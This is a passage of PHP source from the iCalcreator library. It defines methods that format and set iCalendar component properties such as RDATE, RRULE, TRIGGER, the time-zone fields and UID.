                  $strdate = sprintf( '%04d-%02d-%02d %02d:%02d:%02d %s', $d['year'], $d['month'], $d['day'], $d['hour'], $d['min'], $d['sec'], $d['tz'] );
                  $inputab = iCalUtilityFunctions::_strdate2date( $strdate, 7 );
                  unset( $inputab['unparsedtext'] );
                }
                else
                  $inputab = $d;
              }
              elseif (( 1 == count( $rPeriod )) && ( 8 <= strlen( reset( $rPeriod )))) { // text-date
                $inputab   = iCalUtilityFunctions::_strdate2date( reset( $rPeriod ), $parno );
                unset( $inputab['unparsedtext'] );
              }
              else                                               // array format duration
                $inputab   = iCalUtilityFunctions::_duration2arr( $rPeriod );
            }
            elseif(( 3 <= strlen( trim( $rPeriod ))) &&          // string format duration
                   ( in_array( $rPeriod[0], array( 'P', '+', '-' )))) {
              if( 'P' != $rPeriod[0] )
                $rPeriod   = substr( $rPeriod, 1 );
              $inputab     = iCalUtilityFunctions::_durationStr2arr( $rPeriod );
            }
            elseif( 8 <= strlen( trim( $rPeriod ))) {            // text date ex. 2006-08-03 10:12:18
              $inputab     = iCalUtilityFunctions::_strdate2date( $rPeriod, $parno );
              unset( $inputab['unparsedtext'] );
            }
            if(( 0 == $rpix ) && ( 0 == $rix )) {
              if( isset( $inputab['tz'] ) && in_array( strtoupper( $inputab['tz'] ), $zArr )) {
                $inputab['tz'] = 'Z';
                $toZ = TRUE;
              }
            }
            else {
              if( isset( $inputa[0]['tz'] ) && ( 'Z' == $inputa[0]['tz'] ) && isset( $inputab['year'] ))
                $inputab['tz'] = 'Z';
              else
                unset( $inputab['tz'] );
            }
            if( $toZ && isset( $inputab['year'] ) )
              $inputab['tz'] = 'Z';
            $inputa[]      = $inputab;
          }
        } // PERIOD end
        elseif ( iCalUtilityFunctions::_isArrayTimestampDate( $theRdate )) {    // timestamp
          if( isset( $theRdate['tz'] ) && !iCalUtilityFunctions::_isOffset( $theRdate['tz'] )) {
            if( isset( $input['params']['TZID'] ))
              $theRdate['tz'] = $input['params']['TZID'];
            else
              $input['params']['TZID'] = $theRdate['tz'];
          }
          $inputa = iCalUtilityFunctions::_timestamp2date( $theRdate, $parno );
        }
        else {                                                                  // date[-time]
          $inputa = iCalUtilityFunctions::_chkDateArr( $theRdate, $parno );
          if( isset( $inputa['tz'] ) && ( 'Z' != $inputa['tz'] ) && iCalUtilityFunctions::_isOffset( $inputa['tz'] )) {
            $strdate = sprintf( '%04d-%02d-%02d %02d:%02d:%02d %s', $inputa['year'], $inputa['month'], $inputa['day'], $inputa['hour'], $inputa['min'], $inputa['sec'], $inputa['tz'] );
            $inputa  = iCalUtilityFunctions::_strdate2date( $strdate, 7 );
            unset( $inputa['unparsedtext'] );
          }
        }
      }
      elseif( 8 <= strlen( trim( $theRdate ))) {                 // text date ex. 2006-08-03 10:12:18
        $inputa       = iCalUtilityFunctions::_strdate2date( $theRdate, $parno );
        unset( $inputa['unparsedtext'] );
        if( $toZ )
          $inputa['tz'] = 'Z';
      }
      if( !isset( $input['params']['VALUE'] ) || ( 'PERIOD' != $input['params']['VALUE'] )) { // no PERIOD
        if(( 0 == $rpix ) && !$toZ )
          $toZ = ( isset( $inputa['tz'] ) && in_array( strtoupper( $inputa['tz'] ), $zArr )) ? TRUE : FALSE;
        if( $toZ )
          $inputa['tz']    = 'Z';
        if( 3 == $parno )
          unset( $inputa['hour'], $inputa['min'], $inputa['sec'], $inputa['tz'] );
        elseif( isset( $inputa['tz'] ))
          $inputa['tz']    = (string) $inputa['tz'];
        if( isset( $input['params']['TZID'] ) || ( isset( $input['value'][0] ) && ( !isset( $input['value'][0]['tz'] ))))
          if( !$toZ )
            unset( $inputa['tz'] );
      }
      $input['value'][]    = $inputa;
    }
    if( 3 == $parno ) {
      $input['params']['VALUE'] = 'DATE';
      unset( $input['params']['TZID'] );
    }
    if( $toZ )
      unset( $input['params']['TZID'] );
    iCalUtilityFunctions::_setMval( $this->rdate, $input['value'], $input['params'], FALSE, $index );
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: RECURRENCE-ID
 */
/**
 * creates formatted output for calendar component property recurrence-id
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.14.4 - 2012-09-26
 * @return string
 */
  function createRecurrenceid() {
    if( empty( $this->recurrenceid )) return FALSE;
    if( empty( $this->recurrenceid['value'] ))
      return ( $this->getConfig( 'allowEmpty' )) ? $this->_createElement( 'RECURRENCE-ID' ) : FALSE;
    $parno      = ( isset( $this->recurrenceid['params']['VALUE'] ) && ( 'DATE' == $this->recurrenceid['params']['VALUE'] )) ? 3 : null;
    $formatted  = iCalUtilityFunctions::_date2strdate( $this->recurrenceid['value'], $parno );
    $attributes = $this->_createParams( $this->recurrenceid['params'] );
    return $this->_createElement( 'RECURRENCE-ID', $attributes, $formatted );
  }
/**
 * set calendar component property recurrence-id
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param mixed $year
 * @param mixed $month optional
 * @param int $day optional
 * @param int $hour optional
 * @param int $min optional
 * @param int $sec optional
 * @param array $params optional
 * @return bool
 */
  function setRecurrenceid( $year, $month=FALSE, $day=FALSE, $hour=FALSE, $min=FALSE, $sec=FALSE, $tz=FALSE, $params=FALSE ) {
    if( empty( $year )) {
      if( $this->getConfig( 'allowEmpty' )) {
        $this->recurrenceid = array( 'value' => '', 'params' => null );
        return TRUE;
      }
      else
        return FALSE;
    }
    $this->recurrenceid = iCalUtilityFunctions::_setDate( $year, $month, $day, $hour, $min, $sec, $tz, $params, null, null, $this->getConfig( 'TZID' ));
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: RELATED-TO
 */
/**
 * creates formatted output for calendar component property related-to
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-05-25
 * @return string
 */
  function createRelatedTo() {
    if( empty( $this->relatedto )) return FALSE;
    $output = null;
    foreach( $this->relatedto as $relation ) {
      if( !empty( $relation['value'] ))
        $output .= $this->_createElement( 'RELATED-TO', $this->_createParams( $relation['params'] ), iCalUtilityFunctions::_strrep( $relation['value'], $this->format, $this->nl ));
      elseif( $this->getConfig( 'allowEmpty' ))
        $output .= $this->_createElement( 'RELATED-TO' );
    }
    return $output;
  }
/**
 * set calendar component property related-to
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param float $relid
 * @param array $params, optional
 * @param index $index, optional
 * @return bool
 */
  function setRelatedTo( $value, $params=FALSE, $index=FALSE ) {
    if( empty( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    iCalUtilityFunctions::_existRem( $params, 'RELTYPE', 'PARENT', TRUE ); // remove default
    iCalUtilityFunctions::_setMval( $this->relatedto, $value, $params, FALSE, $index );
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: REPEAT
 */
/**
 * creates formatted output for calendar component property repeat
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.9.3 - 2011-05-14
 * @return string
 */
  function createRepeat() {
    if( !isset( $this->repeat ) || ( empty( $this->repeat ) && !is_numeric( $this->repeat ))) return FALSE;
    if( !isset( $this->repeat['value']) || ( empty( $this->repeat['value'] ) && !is_numeric( $this->repeat['value'] )))
      return ( $this->getConfig( 'allowEmpty' )) ? $this->_createElement( 'REPEAT' ) : FALSE;
    $attributes = $this->_createParams( $this->repeat['params'] );
    return $this->_createElement( 'REPEAT', $attributes, $this->repeat['value'] );
  }
/**
 * set calendar component property repeat
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $value
 * @param array $params optional
 * @return void
 */
  function setRepeat( $value, $params=FALSE ) {
    if( empty( $value ) && !is_numeric( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    $this->repeat = array( 'value' => $value, 'params' => iCalUtilityFunctions::_setParams( $params ));
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: REQUEST-STATUS
 */
/**
 * creates formatted output for calendar component property request-status
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.2 - 2012-12-18
 * @return string
 */
  function createRequestStatus() {
    if( empty( $this->requeststatus )) return FALSE;
    $output = null;
    foreach( $this->requeststatus as $rstat ) {
      if( empty( $rstat['value']['statcode'] )) {
        if( $this->getConfig( 'allowEmpty' )) $output .= $this->_createElement( 'REQUEST-STATUS' );
        continue;
      }
      $attributes  = $this->_createParams( $rstat['params'], array( 'LANGUAGE' ));
      $content     = number_format( (float) $rstat['value']['statcode'], 2, '.', '');
      $content    .= ';'.iCalUtilityFunctions::_strrep( $rstat['value']['text'], $this->format, $this->nl );
      if( isset( $rstat['value']['extdata'] ))
        $content  .= ';'.iCalUtilityFunctions::_strrep( $rstat['value']['extdata'], $this->format, $this->nl );
      $output     .= $this->_createElement( 'REQUEST-STATUS', $attributes, $content );
    }
    return $output;
  }
/**
 * set calendar component property request-status
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param float $statcode
 * @param string $text
 * @param string $extdata, optional
 * @param array $params, optional
 * @param integer $index, optional
 * @return bool
 */
  function setRequestStatus( $statcode, $text, $extdata=FALSE, $params=FALSE, $index=FALSE ) {
    if( empty( $statcode ) || empty( $text )) if( $this->getConfig( 'allowEmpty' )) $statcode = $text = ''; else return FALSE;
    $input              = array( 'statcode' => $statcode, 'text' => $text );
    if( $extdata )
      $input['extdata'] = $extdata;
    iCalUtilityFunctions::_setMval( $this->requeststatus, $input, $params, FALSE, $index );
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: RESOURCES
 */
/**
 * creates formatted output for calendar component property resources
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.2 - 2012-12-18
 * @return string
 */
  function createResources() {
    if( empty( $this->resources )) return FALSE;
    $output = null;
    foreach( $this->resources as $resource ) {
      if( empty( $resource['value'] )) {
        if( $this->getConfig( 'allowEmpty' )) $output .= $this->_createElement( 'RESOURCES' );
        continue;
      }
      $attributes  = $this->_createParams( $resource['params'], array( 'ALTREP', 'LANGUAGE' ));
      if( is_array( $resource['value'] )) {
        foreach( $resource['value'] as $rix => $resourcePart )
          $resource['value'][$rix] = iCalUtilityFunctions::_strrep( $resourcePart, $this->format, $this->nl );
        $content   = implode( ',', $resource['value'] );
      }
      else
        $content   = iCalUtilityFunctions::_strrep( $resource['value'], $this->format, $this->nl );
      $output     .= $this->_createElement( 'RESOURCES', $attributes, $content );
    }
    return $output;
  }
/**
 * set calendar component property recources
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param mixed $value
 * @param array $params, optional
 * @param integer $index, optional
 * @return bool
 */
  function setResources( $value, $params=FALSE, $index=FALSE ) {
    if( empty( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    iCalUtilityFunctions::_setMval( $this->resources, $value, $params, FALSE, $index );
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: RRULE
 */
/**
 * creates formatted output for calendar component property rrule
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.8 - 2008-10-21
 * @return string
 */
  function createRrule() {
    if( empty( $this->rrule )) return FALSE;
    return $this->_format_recur( 'RRULE', $this->rrule );
  }
/**
 * set calendar component property rrule
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param array $rruleset
 * @param array $params, optional
 * @param integer $index, optional
 * @return void
 */
  function setRrule( $rruleset, $params=FALSE, $index=FALSE ) {
    if( empty( $rruleset )) if( $this->getConfig( 'allowEmpty' )) $rruleset = ''; else return FALSE;
    iCalUtilityFunctions::_setMval( $this->rrule, iCalUtilityFunctions::_setRexrule( $rruleset ), $params, FALSE, $index );
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: SEQUENCE
 */
/**
 * creates formatted output for calendar component property sequence
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.9.3 - 2011-05-14
 * @return string
 */
  function createSequence() {
    if( !isset( $this->sequence ) || ( empty( $this->sequence ) && !is_numeric( $this->sequence ))) return FALSE;
    if(( !isset($this->sequence['value'] ) || ( empty( $this->sequence['value'] ) && !is_numeric( $this->sequence['value'] ))) &&
       ( '0' != $this->sequence['value'] ))
      return ( $this->getConfig( 'allowEmpty' )) ? $this->_createElement( 'SEQUENCE' ) : FALSE;
    $attributes = $this->_createParams( $this->sequence['params'] );
    return $this->_createElement( 'SEQUENCE', $attributes, $this->sequence['value'] );
  }
/**
 * set calendar component property sequence
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.10.8 - 2011-09-19
 * @param int $value optional
 * @param array $params optional
 * @return bool
 */
  function setSequence( $value=FALSE, $params=FALSE ) {
    if(( empty( $value ) && !is_numeric( $value )) && ( '0' != $value ))
      $value = ( isset( $this->sequence['value'] ) && ( -1 < $this->sequence['value'] )) ? $this->sequence['value'] + 1 : '0';
    $this->sequence = array( 'value' => $value, 'params' => iCalUtilityFunctions::_setParams( $params ));
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: STATUS
 */
/**
 * creates formatted output for calendar component property status
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.8 - 2008-10-21
 * @return string
 */
  function createStatus() {
    if( empty( $this->status )) return FALSE;
    if( empty( $this->status['value'] ))
      return ( $this->getConfig( 'allowEmpty' )) ? $this->_createElement( 'STATUS' ) : FALSE;
    $attributes = $this->_createParams( $this->status['params'] );
    return $this->_createElement( 'STATUS', $attributes, $this->status['value'] );
  }
/**
 * set calendar component property status
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $value
 * @param array $params optional
 * @return bool
 */
  function setStatus( $value, $params=FALSE ) {
    if( empty( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    $this->status = array( 'value' => $value, 'params' => iCalUtilityFunctions::_setParams( $params ));
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: SUMMARY
 */
/**
 * creates formatted output for calendar component property summary
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.2 - 2012-12-18
 * @return string
 */
  function createSummary() {
    if( empty( $this->summary )) return FALSE;
    if( empty( $this->summary['value'] ))
      return ( $this->getConfig( 'allowEmpty' )) ? $this->_createElement( 'SUMMARY' ) : FALSE;
    $attributes = $this->_createParams( $this->summary['params'], array( 'ALTREP', 'LANGUAGE' ));
    $content    = iCalUtilityFunctions::_strrep( $this->summary['value'], $this->format, $this->nl );
    return $this->_createElement( 'SUMMARY', $attributes, $content );
  }
/**
 * set calendar component property summary
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $value
 * @param string $params optional
 * @return bool
 */
  function setSummary( $value, $params=FALSE ) {
    if( empty( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    $this->summary = array( 'value' => $value, 'params' => iCalUtilityFunctions::_setParams( $params ));
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: TRANSP
 */
/**
 * creates formatted output for calendar component property transp
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.8 - 2008-10-21
 * @return string
 */
  function createTransp() {
    if( empty( $this->transp )) return FALSE;
    if( empty( $this->transp['value'] ))
      return ( $this->getConfig( 'allowEmpty' )) ? $this->_createElement( 'TRANSP' ) : FALSE;
    $attributes = $this->_createParams( $this->transp['params'] );
    return $this->_createElement( 'TRANSP', $attributes, $this->transp['value'] );
  }
/**
 * set calendar component property transp
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $value
 * @param string $params optional
 * @return bool
 */
  function setTransp( $value, $params=FALSE ) {
    if( empty( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    $this->transp = array( 'value' => $value, 'params' => iCalUtilityFunctions::_setParams( $params ));
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: TRIGGER
 */
/**
 * creates formatted output for calendar component property trigger
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.16 - 2008-10-21
 * @return string
 */
  function createTrigger() {
    if( empty( $this->trigger )) return FALSE;
    if( empty( $this->trigger['value'] ))
      return ( $this->getConfig( 'allowEmpty' )) ? $this->_createElement( 'TRIGGER' ) : FALSE;
    $content = $attributes = null;
    if( isset( $this->trigger['value']['year'] )   &&
        isset( $this->trigger['value']['month'] )  &&
        isset( $this->trigger['value']['day'] ))
      $content      .= iCalUtilityFunctions::_date2strdate( $this->trigger['value'] );
    else {
      if( TRUE !== $this->trigger['value']['relatedStart'] )
        $attributes .= $this->intAttrDelimiter.'RELATED=END';
      if( $this->trigger['value']['before'] )
        $content    .= '-';
      $content      .= iCalUtilityFunctions::_duration2str( $this->trigger['value'] );
    }
    $attributes     .= $this->_createParams( $this->trigger['params'] );
    return $this->_createElement( 'TRIGGER', $attributes, $content );
  }
/**
 * set calendar component property trigger
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param mixed $year
 * @param mixed $month optional
 * @param int $day optional
 * @param int $week optional
 * @param int $hour optional
 * @param int $min optional
 * @param int $sec optional
 * @param bool $relatedStart optional
 * @param bool $before optional
 * @param array $params optional
 * @return bool
 */
  function setTrigger( $year, $month=null, $day=null, $week=FALSE, $hour=FALSE, $min=FALSE, $sec=FALSE, $relatedStart=TRUE, $before=TRUE, $params=FALSE ) {
    if( empty( $year ) && ( empty( $month ) || is_array( $month )) && empty( $day ) && empty( $week ) && empty( $hour ) && empty( $min ) && empty( $sec ))
      if( $this->getConfig( 'allowEmpty' )) {
        $this->trigger = array( 'value' => '', 'params' => iCalUtilityFunctions::_setParams( $month ) );
        return TRUE;
      }
      else
        return FALSE;
    if( iCalUtilityFunctions::_isArrayTimestampDate( $year )) { // timestamp UTC
      $params = iCalUtilityFunctions::_setParams( $month );
      $date   = iCalUtilityFunctions::_timestamp2date( $year, 7 );
      foreach( $date as $k => $v )
        $$k = $v;
    }
    elseif( is_array( $year ) && ( is_array( $month ) || empty( $month ))) {
      $params = iCalUtilityFunctions::_setParams( $month );
      if(!(array_key_exists( 'year',  $year ) &&   // exclude date-time
           array_key_exists( 'month', $year ) &&
           array_key_exists( 'day',   $year ))) {  // when this must be a duration
        if( isset( $params['RELATED'] ) && ( 'END' == strtoupper( $params['RELATED'] )))
          $relatedStart = FALSE;
        else
          $relatedStart = ( array_key_exists( 'relatedStart', $year ) && ( TRUE !== $year['relatedStart'] )) ? FALSE : TRUE;
        $before         = ( array_key_exists( 'before', $year )       && ( TRUE !== $year['before'] ))       ? FALSE : TRUE;
      }
      $SSYY  = ( array_key_exists( 'year',  $year )) ? $year['year']  : null;
      $month = ( array_key_exists( 'month', $year )) ? $year['month'] : null;
      $day   = ( array_key_exists( 'day',   $year )) ? $year['day']   : null;
      $week  = ( array_key_exists( 'week',  $year )) ? $year['week']  : null;
      $hour  = ( array_key_exists( 'hour',  $year )) ? $year['hour']  : 0; //null;
      $min   = ( array_key_exists( 'min',   $year )) ? $year['min']   : 0; //null;
      $sec   = ( array_key_exists( 'sec',   $year )) ? $year['sec']   : 0; //null;
      $year  = $SSYY;
    }
    elseif(is_string( $year ) && ( is_array( $month ) || empty( $month ))) {  // duration or date in a string
      $params = iCalUtilityFunctions::_setParams( $month );
      if( in_array( $year{0}, array( 'P', '+', '-' ))) { // duration
        $relatedStart = ( isset( $params['RELATED'] ) && ( 'END' == strtoupper( $params['RELATED'] ))) ? FALSE : TRUE;
        $before       = ( '-'  == $year[0] ) ? TRUE : FALSE;
        if(     'P'  != $year[0] )
          $year       = substr( $year, 1 );
        $date         = iCalUtilityFunctions::_durationStr2arr( $year);
      }
      else   // date
        $date    = iCalUtilityFunctions::_strdate2date( $year, 7 );
      unset( $year, $month, $day, $date['unparsedtext'] );
      if( empty( $date ))
        $sec = 0;
      else
        foreach( $date as $k => $v )
          $$k = $v;
    }
    else // single values in function input parameters
      $params = iCalUtilityFunctions::_setParams( $params );
    if( !empty( $year ) && !empty( $month ) && !empty( $day )) { // date
      $params['VALUE'] = 'DATE-TIME';
      $hour = ( $hour ) ? $hour : 0;
      $min  = ( $min  ) ? $min  : 0;
      $sec  = ( $sec  ) ? $sec  : 0;
      $this->trigger = array( 'params' => $params );
      $this->trigger['value'] = array( 'year'  => $year
                                     , 'month' => $month
                                     , 'day'   => $day
                                     , 'hour'  => $hour
                                     , 'min'   => $min
                                     , 'sec'   => $sec
                                     , 'tz'    => 'Z' );
      return TRUE;
    }
    elseif(( empty( $year ) && empty( $month )) &&    // duration
           (( !empty( $week ) || ( 0 == $week )) ||
            ( !empty( $day )  || ( 0 == $day  )) ||
            ( !empty( $hour ) || ( 0 == $hour )) ||
            ( !empty( $min )  || ( 0 == $min  )) ||
            ( !empty( $sec )  || ( 0 == $sec  )))) {
      unset( $params['RELATED'] ); // set at output creation (END only)
      unset( $params['VALUE'] );   // 'DURATION' default
      $this->trigger = array( 'params' => $params );
      $this->trigger['value']  = array();
      if( !empty( $week )) $this->trigger['value']['week'] = $week;
      if( !empty( $day  )) $this->trigger['value']['day']  = $day;
      if( !empty( $hour )) $this->trigger['value']['hour'] = $hour;
      if( !empty( $min  )) $this->trigger['value']['min']  = $min;
      if( !empty( $sec  )) $this->trigger['value']['sec']  = $sec;
      if( empty( $this->trigger['value'] )) {
        $this->trigger['value']['sec'] = 0;
        $before                        = FALSE;
      }
      else
        $this->trigger['value'] = iCalUtilityFunctions::_duration2arr( $this->trigger['value'] );
      $relatedStart = ( FALSE !== $relatedStart ) ? TRUE : FALSE;
      $before       = ( FALSE !== $before )       ? TRUE : FALSE;
      $this->trigger['value']['relatedStart'] = $relatedStart;
      $this->trigger['value']['before']       = $before;
      return TRUE;
    }
    return FALSE;
  }
/*********************************************************************************/
/**
 * Property Name: TZID
 */
/**
 * creates formatted output for calendar component property tzid
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.2 - 2012-12-18
 * @return string
 */
  function createTzid() {
    if( empty( $this->tzid )) return FALSE;
    if( empty( $this->tzid['value'] ))
      return ( $this->getConfig( 'allowEmpty' )) ? $this->_createElement( 'TZID' ) : FALSE;
    $attributes = $this->_createParams( $this->tzid['params'] );
    return $this->_createElement( 'TZID', $attributes, iCalUtilityFunctions::_strrep( $this->tzid['value'], $this->format, $this->nl ));
  }
/**
 * set calendar component property tzid
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $value
 * @param array $params optional
 * @return bool
 */
  function setTzid( $value, $params=FALSE ) {
    if( empty( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    $this->tzid = array( 'value' => $value, 'params' => iCalUtilityFunctions::_setParams( $params ));
    return TRUE;
  }
/*********************************************************************************/
/**
 * .. .
 * Property Name: TZNAME
 */
/**
 * creates formatted output for calendar component property tzname
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.2 - 2012-12-18
 * @return string
 */
  function createTzname() {
    if( empty( $this->tzname )) return FALSE;
    $output = null;
    foreach( $this->tzname as $theName ) {
      if( !empty( $theName['value'] )) {
        $attributes = $this->_createParams( $theName['params'], array( 'LANGUAGE' ));
        $output    .= $this->_createElement( 'TZNAME', $attributes, iCalUtilityFunctions::_strrep( $theName['value'], $this->format, $this->nl ));
      }
      elseif( $this->getConfig( 'allowEmpty' )) $output .= $this->_createElement( 'TZNAME' );
    }
    return $output;
  }
/**
 * set calendar component property tzname
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $value
 * @param string $params, optional
 * @param integer $index, optional
 * @return bool
 */
  function setTzname( $value, $params=FALSE, $index=FALSE ) {
    if( empty( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    iCalUtilityFunctions::_setMval( $this->tzname, $value, $params, FALSE, $index );
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: TZOFFSETFROM
 */
/**
 * creates formatted output for calendar component property tzoffsetfrom
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.8 - 2008-10-21
 * @return string
 */
  function createTzoffsetfrom() {
    if( empty( $this->tzoffsetfrom )) return FALSE;
    if( empty( $this->tzoffsetfrom['value'] ))
      return ( $this->getConfig( 'allowEmpty' )) ? $this->_createElement( 'TZOFFSETFROM' ) : FALSE;
    $attributes = $this->_createParams( $this->tzoffsetfrom['params'] );
    return $this->_createElement( 'TZOFFSETFROM', $attributes, $this->tzoffsetfrom['value'] );
  }
/**
 * set calendar component property tzoffsetfrom
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $value
 * @param string $params optional
 * @return bool
 */
  function setTzoffsetfrom( $value, $params=FALSE ) {
    if( empty( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    $this->tzoffsetfrom = array( 'value' => $value, 'params' => iCalUtilityFunctions::_setParams( $params ));
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: TZOFFSETTO
 */
/**
 * creates formatted output for calendar component property tzoffsetto
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.8 - 2008-10-21
 * @return string
 */
  function createTzoffsetto() {
    if( empty( $this->tzoffsetto )) return FALSE;
    if( empty( $this->tzoffsetto['value'] ))
      return ( $this->getConfig( 'allowEmpty' )) ? $this->_createElement( 'TZOFFSETTO' ) : FALSE;
    $attributes = $this->_createParams( $this->tzoffsetto['params'] );
    return $this->_createElement( 'TZOFFSETTO', $attributes, $this->tzoffsetto['value'] );
  }
/**
 * set calendar component property tzoffsetto
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $value
 * @param string $params optional
 * @return bool
 */
  function setTzoffsetto( $value, $params=FALSE ) {
    if( empty( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    $this->tzoffsetto = array( 'value' => $value, 'params' => iCalUtilityFunctions::_setParams( $params ));
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: TZURL
 */
/**
 * creates formatted output for calendar component property tzurl
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.8 - 2008-10-21
 * @return string
 */
  function createTzurl() {
    if( empty( $this->tzurl )) return FALSE;
    if( empty( $this->tzurl['value'] ))
      return ( $this->getConfig( 'allowEmpty' )) ? $this->_createElement( 'TZURL' ) : FALSE;
    $attributes = $this->_createParams( $this->tzurl['params'] );
    return $this->_createElement( 'TZURL', $attributes, $this->tzurl['value'] );
  }
/**
 * set calendar component property tzurl
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param string $value
 * @param string $params optional
 * @return boll
 */
  function setTzurl( $value, $params=FALSE ) {
    if( empty( $value )) if( $this->getConfig( 'allowEmpty' )) $value = ''; else return FALSE;
    $this->tzurl = array( 'value' => $value, 'params' => iCalUtilityFunctions::_setParams( $params ));
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: UID
 */
/**
 * creates formatted output for calendar component property uid
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 0.9.7 - 2006-11-20
 * @return string
 */
  function createUid() {
    if( 0 >= count( $this->uid ))
      $this->_makeuid();
    $attributes = $this->_createParams( $this->uid['params'] );
    return $this->_createElement( 'UID', $attributes, $this->uid['value'] );
  }
/**
 * create an unique id for this calendar component object instance
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.2.7 - 2007-09-04
 * @return void
 */
  function _makeUid() {
    $date   = date('Ymd\THisT');
    $unique = substr(microtime(), 2, 4);
    $base   = 'aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPrRsStTuUvVxXuUvVwWzZ1234567890';
    $start  = 0;
    $end    = strlen( $base ) - 1;
    $length = 6;
    $str    = null;
    for( $p = 0; $p < $length; $p++ )
      $unique .= $base{mt_rand( $start, $end )};
    $this->uid = array( 'params' => null );
    $this->uid['value']  = $date.'-'.$unique.'@'.$this->getConfig( 'unique_id' );
  }
/**
 * set calendar component property uid
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.4.8 - 2008-11-04
 * @param string $value
 * @param string $params optional
 * @return bool
 */
  function setUid( $value, $params=FALSE ) {
    if( empty( $value )) return FALSE; // no allowEmpty check here !!!!
    $this->uid = array( 'value' => $value, 'params' => iCalUtilityFunctions::_setParams( $params ));
    return TRUE;
  }
/*********************************************************************************/
/**
 * Property Name: URL
 */
/**
 * creates formatted output for calendar component property url
 *
